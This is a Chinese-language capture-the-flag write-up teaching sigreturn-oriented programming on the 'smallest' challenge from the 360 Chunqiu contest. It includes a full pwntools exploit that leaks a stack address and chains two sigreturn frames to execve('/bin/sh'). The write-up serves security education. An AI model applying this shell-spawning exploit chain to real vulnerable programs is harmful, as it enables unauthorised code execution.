srop之smallest-pwn

这里专门通过一道题目来讲讲srop的利用: 360春秋杯中的smallest-pwn

这道题目很秀,只有这么点内容: 通过读汇编,可以看到,这个程序其实就是read(0,rsp,400),然后ret 就这样没有其他东西了,之前学过的栈溢出操作也都全部没用了 这里有个syscall函数,大概的思路还是调用syscall,这里就需要用到srop了

既然是用syscall,那么我们的最终目的肯定是执行execve(“/bin/sh”)了 那么这里就需要知道: 1.设置edi为/bin/sh的地址 2.设置rax为execve的调用号 (64位下的syscall可以在这里找到:http://www.cs.utexas.edu/~bismith/test/syscalls/syscalls64_orig.html) 3.造成系统中断,执行execve(“/bin/sh”)

这里首先需要解决/bin/sh的写入问题,要怎么样写入这个参数到一个地址上去?这个地址该怎么找? 可以通过argv[0]和envp获取栈所在的页,int main(int argc, char *argv[], char *envp[]) argv[0]是一个栈地址,指向的是程序的名称,也就是rbp的值,一般都保存在rsp上面 envp中保存的都是环境变量的地址,都位于栈中

所以我们先想办法泄漏出栈的地址,然后可以通过这个地址知道我们写入的“/bin/sh”的地址 该怎么泄漏呢,很简单,就调用write()函数,因为write函数的系统调用号是1,我们可以想办法让rax变成1,从而实现将read(0,rsp,400)变成write(1,rsp,400),把栈的地址泄漏出来 怎么让rax变成1?可以通过控制read读入的字节数来改变rax的值 因此,我们第一步先泄漏栈地址

main_addr = 0x4000b0
syscall_addr = 0x4000be
write_payload = p64(main_addr) + p64(main_addr) + p64(main_addr)
#三次main_addr是为了后面构造三次跳转
s.send(write_payload)

s.send("\xb3") # set rax=1  执行write函数,同时返回地址改写为0x4000b3。 跳过 xor %rax,%rax 使rax保持为1

stack_addr = u64(s.recv()[8:16])#接收到的第8个字节开始才是我们所需要的栈地址
print "stack:"+hex(stack_addr)

泄漏出栈地址以后,程序的流程就已经执行到我们之前输入的第三个“main_addr”了 这个时候我们就需要开始构造srop了,一共需要构造两次,第一次是调用read函数把paylode写到泄露出的栈地址上,第二次是把/bin/sh写进内存里面并且通过sigreturn调用execve()从而getshell,这里我就直接把完整的exp放出来了:

#coding:utf-8
from pwn import *
import time
context.log_level = 'debug'
context.arch = "amd64"
exe = './smallest'
s = process(exe)
 
main_addr = 0x4000b0
syscall_addr = 0x4000be
write_payload = p64(main_addr) + p64(main_addr) + p64(main_addr)
#三次main_addr是为了后面构造三次跳转
s.send(write_payload)

s.send("\xb3") # set rax=1  执行write函数,同时返回地址改写为0x4000b3。 跳过 xor %rax,%rax 使rax保持为1

stack_addr = u64(s.recv()[8:16])#接收到的第8个字节开始才是我们所需要的栈地址
print "stack:"+hex(stack_addr)


frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read
frame.rdi = 0x0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr
# frame代表read(0,stack_addr,0x400)  

# 现将Payload写到栈上
read_frame_payload = p64(main_addr) + p64(0) + str(frame)
s.send(read_frame_payload)
 
# 通过控制输入的字符数量,调用sigreturn
goto_sigreturn_payload = p64(syscall_addr) + "\x00"*(15 - 8)
 # sigreturn syscall is 15 
s.send(goto_sigreturn_payload)
 

frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve
frame.rdi = stack_addr+0x150 # "/bin/sh" 's addr 
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = stack_addr
frame.rip = syscall_addr

execv_frame_payload = p64(main_addr) + p64(0) + str(frame)
execv_frame_payload_all = execv_frame_payload + (0x150 - len(execv_frame_payload))*"\x00" + "/bin/sh\x00"
s.send(execv_frame_payload_all)
 
s.send(goto_sigreturn_payload)  
 
s.interactive()

当时我第一次看别人写的wp的时候也是一脸懵的,于是自己动手画了一下图,就豁然开朗了:

ps:终于写完了,画图真的让人脑壳疼。。。

其实还有两种解法,我就不说了,贴一下之前我看过的各种wp吧: http://bestwing.me/2017/04/23/2017-360chunqiu-online/ http://anciety.cn/2017/04/21/2017429ctf-smallest-writeup/ http://www.angelwhu.com/blog/?p=504 https://blog.csdn.net/luozhaotian/article/details/79608220